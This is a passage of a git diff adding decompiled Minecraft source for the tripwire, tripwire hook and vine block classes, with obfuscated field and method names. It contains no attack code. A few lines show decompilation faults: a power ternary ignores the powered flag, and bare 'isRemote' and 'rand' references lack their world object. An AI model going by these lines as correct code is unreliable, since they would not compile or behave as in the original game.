+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176284_a, field_176283_b, field_176285_M });
+  }
+  
+  public static enum DoorHalf implements IStringSerializable
+  {
+    TOP("TOP", 0, "top"), 
+    BOTTOM("BOTTOM", 1, "bottom");
+    
+    private final String field_176671_c;
+    private static final DoorHalf[] $VALUES = { TOP, BOTTOM };
+    private static final String __OBFID = "CL_00002051";
+    
+    private DoorHalf(String p_i45674_1_, int p_i45674_2_, String p_i45674_3_)
+    {
+      field_176671_c = p_i45674_3_;
+    }
+    
+    public String toString()
+    {
+      return field_176671_c;
+    }
+    
+    public String getName()
+    {
+      return field_176671_c;
+    }
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_177058_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002052";
+    
+    static
+    {
+      try
+      {
+        field_177058_a[EnumFacing.NORTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_177058_a[EnumFacing.SOUTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_177058_a[EnumFacing.WEST.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_177058_a[EnumFacing.EAST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockTripWire.java b/src/minecraft/net/minecraft/block/BlockTripWire.java
new file mode 100644
index 0000000..f73412e
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockTripWire.java
@@ -0,0 +1,311 @@
+package net.minecraft.block;
+
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockTripWire extends Block
+{
+  public static final PropertyBool field_176293_a = PropertyBool.create("powered");
+  public static final PropertyBool field_176290_b = PropertyBool.create("suspended");
+  public static final PropertyBool field_176294_M = PropertyBool.create("attached");
+  public static final PropertyBool field_176295_N = PropertyBool.create("disarmed");
+  public static final PropertyBool field_176296_O = PropertyBool.create("north");
+  public static final PropertyBool field_176291_P = PropertyBool.create("east");
+  public static final PropertyBool field_176289_Q = PropertyBool.create("south");
+  public static final PropertyBool field_176292_R = PropertyBool.create("west");
+  private static final String __OBFID = "CL_00000328";
+  
+  public BlockTripWire()
+  {
+    super(net.minecraft.block.material.Material.circuits);
+    setDefaultState(blockState.getBaseState().withProperty(field_176293_a, Boolean.valueOf(false)).withProperty(field_176290_b, Boolean.valueOf(false)).withProperty(field_176294_M, Boolean.valueOf(false)).withProperty(field_176295_N, Boolean.valueOf(false)).withProperty(field_176296_O, Boolean.valueOf(false)).withProperty(field_176291_P, Boolean.valueOf(false)).withProperty(field_176289_Q, Boolean.valueOf(false)).withProperty(field_176292_R, Boolean.valueOf(false)));
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.15625F, 1.0F);
+    setTickRandomly(true);
+  }
+  
+
+
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    return state.withProperty(field_176296_O, Boolean.valueOf(func_176287_c(worldIn, pos, state, EnumFacing.NORTH))).withProperty(field_176291_P, Boolean.valueOf(func_176287_c(worldIn, pos, state, EnumFacing.EAST))).withProperty(field_176289_Q, Boolean.valueOf(func_176287_c(worldIn, pos, state, EnumFacing.SOUTH))).withProperty(field_176292_R, Boolean.valueOf(func_176287_c(worldIn, pos, state, EnumFacing.WEST)));
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return null;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.TRANSLUCENT;
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.string;
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Items.string;
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    boolean var5 = ((Boolean)state.getValue(field_176290_b)).booleanValue();
+    boolean var6 = !World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown());
+    
+    if (var5 != var6)
+    {
+      dropBlockAsItem(worldIn, pos, state, 0);
+      worldIn.setBlockToAir(pos);
+    }
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    IBlockState var3 = access.getBlockState(pos);
+    boolean var4 = ((Boolean)var3.getValue(field_176294_M)).booleanValue();
+    boolean var5 = ((Boolean)var3.getValue(field_176290_b)).booleanValue();
+    
+    if (!var5)
+    {
+      setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.09375F, 1.0F);
+    }
+    else if (!var4)
+    {
+      setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.5F, 1.0F);
+    }
+    else
+    {
+      setBlockBounds(0.0F, 0.0625F, 0.0F, 1.0F, 0.15625F, 1.0F);
+    }
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    state = state.withProperty(field_176290_b, Boolean.valueOf(!World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown())));
+    worldIn.setBlockState(pos, state, 3);
+    func_176286_e(worldIn, pos, state);
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    func_176286_e(worldIn, pos, state.withProperty(field_176293_a, Boolean.valueOf(true)));
+  }
+  
+  public void onBlockHarvested(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn)
+  {
+    if (!isRemote)
+    {
+      if ((playerIn.getCurrentEquippedItem() != null) && (playerIn.getCurrentEquippedItem().getItem() == Items.shears))
+      {
+        worldIn.setBlockState(pos, state.withProperty(field_176295_N, Boolean.valueOf(true)), 4);
+      }
+    }
+  }
+  
+  private void func_176286_e(World worldIn, BlockPos p_176286_2_, IBlockState p_176286_3_)
+  {
+    EnumFacing[] var4 = { EnumFacing.SOUTH, EnumFacing.WEST };
+    int var5 = var4.length;
+    int var6 = 0;
+    
+    while (var6 < var5)
+    {
+      EnumFacing var7 = var4[var6];
+      int var8 = 1;
+      
+
+
+      while (var8 < 42)
+      {
+        BlockPos var9 = p_176286_2_.offset(var7, var8);
+        IBlockState var10 = worldIn.getBlockState(var9);
+        
+        if (var10.getBlock() == Blocks.tripwire_hook)
+        {
+          if (var10.getValue(BlockTripWireHook.field_176264_a) != var7.getOpposite())
+            break;
+          Blocks.tripwire_hook.func_176260_a(worldIn, var9, var10, false, true, var8, p_176286_3_);
+          
+          break; }
+        if (var10.getBlock() != Blocks.tripwire)
+          break;
+        var8++;
+      }
+      
+
+
+      var6++;
+    }
+  }
+  
+
+
+
+
+
+  public void onEntityCollidedWithBlock(World worldIn, BlockPos pos, IBlockState state, Entity entityIn)
+  {
+    if (!isRemote)
+    {
+      if (!((Boolean)state.getValue(field_176293_a)).booleanValue())
+      {
+        func_176288_d(worldIn, pos);
+      }
+    }
+  }
+  
+
+
+  public void randomTick(World worldIn, BlockPos pos, IBlockState state, Random random) {}
+  
+
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (!isRemote)
+    {
+      if (((Boolean)worldIn.getBlockState(pos).getValue(field_176293_a)).booleanValue())
+      {
+        func_176288_d(worldIn, pos);
+      }
+    }
+  }
+  
+  private void func_176288_d(World worldIn, BlockPos p_176288_2_)
+  {
+    IBlockState var3 = worldIn.getBlockState(p_176288_2_);
+    boolean var4 = ((Boolean)var3.getValue(field_176293_a)).booleanValue();
+    boolean var5 = false;
+    List var6 = worldIn.getEntitiesWithinAABBExcludingEntity(null, new AxisAlignedBB(p_176288_2_.getX() + minX, p_176288_2_.getY() + minY, p_176288_2_.getZ() + minZ, p_176288_2_.getX() + maxX, p_176288_2_.getY() + maxY, p_176288_2_.getZ() + maxZ));
+    
+    if (!var6.isEmpty())
+    {
+      Iterator var7 = var6.iterator();
+      
+      while (var7.hasNext())
+      {
+        Entity var8 = (Entity)var7.next();
+        
+        if (!var8.doesEntityNotTriggerPressurePlate())
+        {
+          var5 = true;
+          break;
+        }
+      }
+    }
+    
+    if (var5 != var4)
+    {
+      var3 = var3.withProperty(field_176293_a, Boolean.valueOf(var5));
+      worldIn.setBlockState(p_176288_2_, var3, 3);
+      func_176286_e(worldIn, p_176288_2_, var3);
+    }
+    
+    if (var5)
+    {
+      worldIn.scheduleUpdate(p_176288_2_, this, tickRate(worldIn));
+    }
+  }
+  
+  public static boolean func_176287_c(IBlockAccess p_176287_0_, BlockPos p_176287_1_, IBlockState p_176287_2_, EnumFacing p_176287_3_)
+  {
+    BlockPos var4 = p_176287_1_.offset(p_176287_3_);
+    IBlockState var5 = p_176287_0_.getBlockState(var4);
+    Block var6 = var5.getBlock();
+    
+    if (var6 == Blocks.tripwire_hook)
+    {
+      EnumFacing var9 = p_176287_3_.getOpposite();
+      return var5.getValue(BlockTripWireHook.field_176264_a) == var9;
+    }
+    if (var6 == Blocks.tripwire)
+    {
+      boolean var7 = ((Boolean)p_176287_2_.getValue(field_176290_b)).booleanValue();
+      boolean var8 = ((Boolean)var5.getValue(field_176290_b)).booleanValue();
+      return var7 == var8;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176293_a, Boolean.valueOf((meta & 0x1) > 0)).withProperty(field_176290_b, Boolean.valueOf((meta & 0x2) > 0)).withProperty(field_176294_M, Boolean.valueOf((meta & 0x4) > 0)).withProperty(field_176295_N, Boolean.valueOf((meta & 0x8) > 0));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    int var2 = 0;
+    
+    if (((Boolean)state.getValue(field_176293_a)).booleanValue())
+    {
+      var2 |= 0x1;
+    }
+    
+    if (((Boolean)state.getValue(field_176290_b)).booleanValue())
+    {
+      var2 |= 0x2;
+    }
+    
+    if (((Boolean)state.getValue(field_176294_M)).booleanValue())
+    {
+      var2 |= 0x4;
+    }
+    
+    if (((Boolean)state.getValue(field_176295_N)).booleanValue())
+    {
+      var2 |= 0x8;
+    }
+    
+    return var2;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176293_a, field_176290_b, field_176294_M, field_176295_N, field_176296_O, field_176291_P, field_176292_R, field_176289_Q });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockTripWireHook.java b/src/minecraft/net/minecraft/block/BlockTripWireHook.java
new file mode 100644
index 0000000..e82c1b1
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockTripWireHook.java
@@ -0,0 +1,410 @@
+package net.minecraft.block;
+
+import java.util.Iterator;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockTripWireHook extends Block
+{
+  public static final PropertyDirection field_176264_a = PropertyDirection.create("facing", EnumFacing.Plane.HORIZONTAL);
+  public static final PropertyBool field_176263_b = PropertyBool.create("powered");
+  public static final PropertyBool field_176265_M = PropertyBool.create("attached");
+  public static final PropertyBool field_176266_N = PropertyBool.create("suspended");
+  private static final String __OBFID = "CL_00000329";
+  
+  public BlockTripWireHook()
+  {
+    super(Material.circuits);
+    setDefaultState(blockState.getBaseState().withProperty(field_176264_a, EnumFacing.NORTH).withProperty(field_176263_b, Boolean.valueOf(false)).withProperty(field_176265_M, Boolean.valueOf(false)).withProperty(field_176266_N, Boolean.valueOf(false)));
+    setCreativeTab(net.minecraft.creativetab.CreativeTabs.tabRedstone);
+    setTickRandomly(true);
+  }
+  
+
+
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    return state.withProperty(field_176266_N, Boolean.valueOf(!World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown())));
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return null;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean canPlaceBlockOnSide(World worldIn, BlockPos pos, EnumFacing side)
+  {
+    return (side.getAxis().isHorizontal()) && (worldIn.getBlockState(pos.offset(side.getOpposite())).getBlock().isNormalCube());
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    Iterator var3 = EnumFacing.Plane.HORIZONTAL.iterator();
+    
+    EnumFacing var4;
+    do
+    {
+      if (!var3.hasNext())
+      {
+        return false;
+      }
+      
+      var4 = (EnumFacing)var3.next();
+    }
+    while (!worldIn.getBlockState(pos.offset(var4)).getBlock().isNormalCube());
+    
+    return true;
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    IBlockState var9 = getDefaultState().withProperty(field_176263_b, Boolean.valueOf(false)).withProperty(field_176265_M, Boolean.valueOf(false)).withProperty(field_176266_N, Boolean.valueOf(false));
+    
+    if (facing.getAxis().isHorizontal())
+    {
+      var9 = var9.withProperty(field_176264_a, facing);
+    }
+    
+    return var9;
+  }
+  
+  public void onBlockPlacedBy(World worldIn, BlockPos pos, IBlockState state, EntityLivingBase placer, ItemStack stack)
+  {
+    func_176260_a(worldIn, pos, state, false, false, -1, null);
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (neighborBlock != this)
+    {
+      if (func_176261_e(worldIn, pos, state))
+      {
+        EnumFacing var5 = (EnumFacing)state.getValue(field_176264_a);
+        
+        if (!worldIn.getBlockState(pos.offset(var5.getOpposite())).getBlock().isNormalCube())
+        {
+          dropBlockAsItem(worldIn, pos, state, 0);
+          worldIn.setBlockToAir(pos);
+        }
+      }
+    }
+  }
+  
+  public void func_176260_a(World worldIn, BlockPos p_176260_2_, IBlockState p_176260_3_, boolean p_176260_4_, boolean p_176260_5_, int p_176260_6_, IBlockState p_176260_7_)
+  {
+    EnumFacing var8 = (EnumFacing)p_176260_3_.getValue(field_176264_a);
+    boolean var9 = ((Boolean)p_176260_3_.getValue(field_176265_M)).booleanValue();
+    boolean var10 = ((Boolean)p_176260_3_.getValue(field_176263_b)).booleanValue();
+    boolean var11 = !World.doesBlockHaveSolidTopSurface(worldIn, p_176260_2_.offsetDown());
+    boolean var12 = !p_176260_4_;
+    boolean var13 = false;
+    int var14 = 0;
+    IBlockState[] var15 = new IBlockState[42];
+    
+
+    for (int var16 = 1; var16 < 42; var16++)
+    {
+      BlockPos var17 = p_176260_2_.offset(var8, var16);
+      IBlockState var18 = worldIn.getBlockState(var17);
+      
+      if (var18.getBlock() == Blocks.tripwire_hook)
+      {
+        if (var18.getValue(field_176264_a) != var8.getOpposite())
+          break;
+        var14 = var16;
+        
+
+        break;
+      }
+      
+      if ((var18.getBlock() != Blocks.tripwire) && (var16 != p_176260_6_))
+      {
+        var15[var16] = null;
+        var12 = false;
+      }
+      else
+      {
+        if (var16 == p_176260_6_)
+        {
+          var18 = (IBlockState)com.google.common.base.Objects.firstNonNull(p_176260_7_, var18);
+        }
+        
+        boolean var19 = !((Boolean)var18.getValue(BlockTripWire.field_176295_N)).booleanValue();
+        boolean var20 = ((Boolean)var18.getValue(BlockTripWire.field_176293_a)).booleanValue();
+        boolean var21 = ((Boolean)var18.getValue(BlockTripWire.field_176290_b)).booleanValue();
+        var12 &= var21 == var11;
+        var13 |= ((var19) && (var20));
+        var15[var16] = var18;
+        
+        if (var16 == p_176260_6_)
+        {
+          worldIn.scheduleUpdate(p_176260_2_, this, tickRate(worldIn));
+          var12 &= var19;
+        }
+      }
+    }
+    
+    var12 &= var14 > 1;
+    var13 &= var12;
+    IBlockState var22 = getDefaultState().withProperty(field_176265_M, Boolean.valueOf(var12)).withProperty(field_176263_b, Boolean.valueOf(var13));
+    
+    if (var14 > 0)
+    {
+      BlockPos var17 = p_176260_2_.offset(var8, var14);
+      EnumFacing var24 = var8.getOpposite();
+      worldIn.setBlockState(var17, var22.withProperty(field_176264_a, var24), 3);
+      func_176262_b(worldIn, var17, var24);
+      func_180694_a(worldIn, var17, var12, var13, var9, var10);
+    }
+    
+    func_180694_a(worldIn, p_176260_2_, var12, var13, var9, var10);
+    
+    if (!p_176260_4_)
+    {
+      worldIn.setBlockState(p_176260_2_, var22.withProperty(field_176264_a, var8), 3);
+      
+      if (p_176260_5_)
+      {
+        func_176262_b(worldIn, p_176260_2_, var8);
+      }
+    }
+    
+    if (var9 != var12)
+    {
+      for (int var23 = 1; var23 < var14; var23++)
+      {
+        BlockPos var25 = p_176260_2_.offset(var8, var23);
+        IBlockState var26 = var15[var23];
+        
+        if ((var26 != null) && (worldIn.getBlockState(var25).getBlock() != Blocks.air))
+        {
+          worldIn.setBlockState(var25, var26.withProperty(field_176265_M, Boolean.valueOf(var12)), 3);
+        }
+      }
+    }
+  }
+  
+
+
+  public void randomTick(World worldIn, BlockPos pos, IBlockState state, Random random) {}
+  
+
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    func_176260_a(worldIn, pos, state, false, true, -1, null);
+  }
+  
+  private void func_180694_a(World worldIn, BlockPos p_180694_2_, boolean p_180694_3_, boolean p_180694_4_, boolean p_180694_5_, boolean p_180694_6_)
+  {
+    if ((p_180694_4_) && (!p_180694_6_))
+    {
+      worldIn.playSoundEffect(p_180694_2_.getX() + 0.5D, p_180694_2_.getY() + 0.1D, p_180694_2_.getZ() + 0.5D, "random.click", 0.4F, 0.6F);
+    }
+    else if ((!p_180694_4_) && (p_180694_6_))
+    {
+      worldIn.playSoundEffect(p_180694_2_.getX() + 0.5D, p_180694_2_.getY() + 0.1D, p_180694_2_.getZ() + 0.5D, "random.click", 0.4F, 0.5F);
+    }
+    else if ((p_180694_3_) && (!p_180694_5_))
+    {
+      worldIn.playSoundEffect(p_180694_2_.getX() + 0.5D, p_180694_2_.getY() + 0.1D, p_180694_2_.getZ() + 0.5D, "random.click", 0.4F, 0.7F);
+    }
+    else if ((!p_180694_3_) && (p_180694_5_))
+    {
+      worldIn.playSoundEffect(p_180694_2_.getX() + 0.5D, p_180694_2_.getY() + 0.1D, p_180694_2_.getZ() + 0.5D, "random.bowhit", 0.4F, 1.2F / (rand.nextFloat() * 0.2F + 0.9F));
+    }
+  }
+  
+  private void func_176262_b(World worldIn, BlockPos p_176262_2_, EnumFacing p_176262_3_)
+  {
+    worldIn.notifyNeighborsOfStateChange(p_176262_2_, this);
+    worldIn.notifyNeighborsOfStateChange(p_176262_2_.offset(p_176262_3_.getOpposite()), this);
+  }
+  
+  private boolean func_176261_e(World worldIn, BlockPos p_176261_2_, IBlockState p_176261_3_)
+  {
+    if (!canPlaceBlockAt(worldIn, p_176261_2_))
+    {
+      dropBlockAsItem(worldIn, p_176261_2_, p_176261_3_, 0);
+      worldIn.setBlockToAir(p_176261_2_);
+      return false;
+    }
+    
+
+    return true;
+  }
+  
+
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    float var3 = 0.1875F;
+    
+    switch (SwitchEnumFacing.field_177056_a[((EnumFacing)access.getBlockState(pos).getValue(field_176264_a)).ordinal()])
+    {
+    case 1: 
+      setBlockBounds(0.0F, 0.2F, 0.5F - var3, var3 * 2.0F, 0.8F, 0.5F + var3);
+      break;
+    
+    case 2: 
+      setBlockBounds(1.0F - var3 * 2.0F, 0.2F, 0.5F - var3, 1.0F, 0.8F, 0.5F + var3);
+      break;
+    
+    case 3: 
+      setBlockBounds(0.5F - var3, 0.2F, 0.0F, 0.5F + var3, 0.8F, var3 * 2.0F);
+      break;
+    
+    case 4: 
+      setBlockBounds(0.5F - var3, 0.2F, 1.0F - var3 * 2.0F, 0.5F + var3, 0.8F, 1.0F);
+    }
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    boolean var4 = ((Boolean)state.getValue(field_176265_M)).booleanValue();
+    boolean var5 = ((Boolean)state.getValue(field_176263_b)).booleanValue();
+    
+    if ((var4) || (var5))
+    {
+      func_176260_a(worldIn, pos, state, true, false, -1, null);
+    }
+    
+    if (var5)
+    {
+      worldIn.notifyNeighborsOfStateChange(pos, this);
+      worldIn.notifyNeighborsOfStateChange(pos.offset(((EnumFacing)state.getValue(field_176264_a)).getOpposite()), this);
+    }
+    
+    super.breakBlock(worldIn, pos, state);
+  }
+  
+  public int isProvidingWeakPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return ((Boolean)state.getValue(field_176263_b)).booleanValue() ? 15 : 0;
+  }
+  
+  public int isProvidingStrongPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return state.getValue(field_176264_a) == side ? 15 : !((Boolean)state.getValue(field_176263_b)).booleanValue() ? 0 : 0;
+  }
+  
+
+
+
+  public boolean canProvidePower()
+  {
+    return true;
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT_MIPPED;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176264_a, EnumFacing.getHorizontal(meta & 0x3)).withProperty(field_176263_b, Boolean.valueOf((meta & 0x8) > 0)).withProperty(field_176265_M, Boolean.valueOf((meta & 0x4) > 0));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((EnumFacing)state.getValue(field_176264_a)).getHorizontalIndex();
+    
+    if (((Boolean)state.getValue(field_176263_b)).booleanValue())
+    {
+      var3 |= 0x8;
+    }
+    
+    if (((Boolean)state.getValue(field_176265_M)).booleanValue())
+    {
+      var3 |= 0x4;
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176264_a, field_176263_b, field_176265_M, field_176266_N });
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_177056_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002050";
+    
+    static
+    {
+      try
+      {
+        field_177056_a[EnumFacing.EAST.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_177056_a[EnumFacing.WEST.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_177056_a[EnumFacing.SOUTH.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_177056_a[EnumFacing.NORTH.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockVine.java b/src/minecraft/net/minecraft/block/BlockVine.java
new file mode 100644
index 0000000..d0de114
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockVine.java
@@ -0,0 +1,591 @@
+package net.minecraft.block;
+
+import java.util.Iterator;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.ColorizerFoliage;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockVine extends Block
+{
+  public static final PropertyBool field_176277_a = PropertyBool.create("up");
+  public static final PropertyBool field_176273_b = PropertyBool.create("north");
+  public static final PropertyBool field_176278_M = PropertyBool.create("east");
+  public static final PropertyBool field_176279_N = PropertyBool.create("south");
+  public static final PropertyBool field_176280_O = PropertyBool.create("west");
+  public static final PropertyBool[] field_176274_P = { field_176277_a, field_176273_b, field_176279_N, field_176280_O, field_176278_M };
+  public static final int field_176272_Q = func_176270_b(EnumFacing.SOUTH);
+  public static final int field_176276_R = func_176270_b(EnumFacing.NORTH);
+  public static final int field_176275_S = func_176270_b(EnumFacing.EAST);
+  public static final int field_176271_T = func_176270_b(EnumFacing.WEST);
+  private static final String __OBFID = "CL_00000330";
+  
+  public BlockVine()
+  {
+    super(Material.vine);
+    setDefaultState(blockState.getBaseState().withProperty(field_176277_a, Boolean.valueOf(false)).withProperty(field_176273_b, Boolean.valueOf(false)).withProperty(field_176278_M, Boolean.valueOf(false)).withProperty(field_176279_N, Boolean.valueOf(false)).withProperty(field_176280_O, Boolean.valueOf(false)));
+    setTickRandomly(true);
+    setCreativeTab(CreativeTabs.tabDecorations);
+  }
+  
+
+
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    return state.withProperty(field_176277_a, Boolean.valueOf(worldIn.getBlockState(pos.offsetUp()).getBlock().isSolidFullCube()));
+  }
+  
+
+
+
+  public void setBlockBoundsForItemRender()
+  {
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean isReplaceable(World worldIn, BlockPos pos)
+  {
+    return true;
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    float var3 = 0.0625F;
+    float var4 = 1.0F;
+    float var5 = 1.0F;
+    float var6 = 1.0F;
+    float var7 = 0.0F;
+    float var8 = 0.0F;
+    float var9 = 0.0F;
+    boolean var10 = false;
+    
+    if (((Boolean)access.getBlockState(pos).getValue(field_176280_O)).booleanValue())
+    {
+      var7 = Math.max(var7, 0.0625F);
+      var4 = 0.0F;
+      var5 = 0.0F;
+      var8 = 1.0F;
+      var6 = 0.0F;
+      var9 = 1.0F;
+      var10 = true;
+    }
+    
+    if (((Boolean)access.getBlockState(pos).getValue(field_176278_M)).booleanValue())
+    {
+      var4 = Math.min(var4, 0.9375F);
+      var7 = 1.0F;
+      var5 = 0.0F;
+      var8 = 1.0F;
+      var6 = 0.0F;
+      var9 = 1.0F;
+      var10 = true;
+    }
+    
+    if (((Boolean)access.getBlockState(pos).getValue(field_176273_b)).booleanValue())
+    {
+      var9 = Math.max(var9, 0.0625F);
+      var6 = 0.0F;
+      var4 = 0.0F;
+      var7 = 1.0F;
+      var5 = 0.0F;
+      var8 = 1.0F;
+      var10 = true;
+    }
+    
+    if (((Boolean)access.getBlockState(pos).getValue(field_176279_N)).booleanValue())
+    {
+      var6 = Math.min(var6, 0.9375F);
+      var9 = 1.0F;
+      var4 = 0.0F;
+      var7 = 1.0F;
+      var5 = 0.0F;
+      var8 = 1.0F;
+      var10 = true;
+    }
+    
+    if ((!var10) && (func_150093_a(access.getBlockState(pos.offsetUp()).getBlock())))
+    {
+      var5 = Math.min(var5, 0.9375F);
+      var8 = 1.0F;
+      var4 = 0.0F;
+      var7 = 1.0F;
+      var6 = 0.0F;
+      var9 = 1.0F;
+    }
+    
+    setBlockBounds(var4, var5, var6, var7, var8, var9);
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return null;
+  }
+  
+
+
+
+  public boolean canPlaceBlockOnSide(World worldIn, BlockPos pos, EnumFacing side)
+  {
+    switch (SwitchEnumFacing.field_177057_a[side.ordinal()])
+    {
+    case 1: 
+      return func_150093_a(worldIn.getBlockState(pos.offsetUp()).getBlock());
+    
+    case 2: 
+    case 3: 
+    case 4: 
+    case 5: 
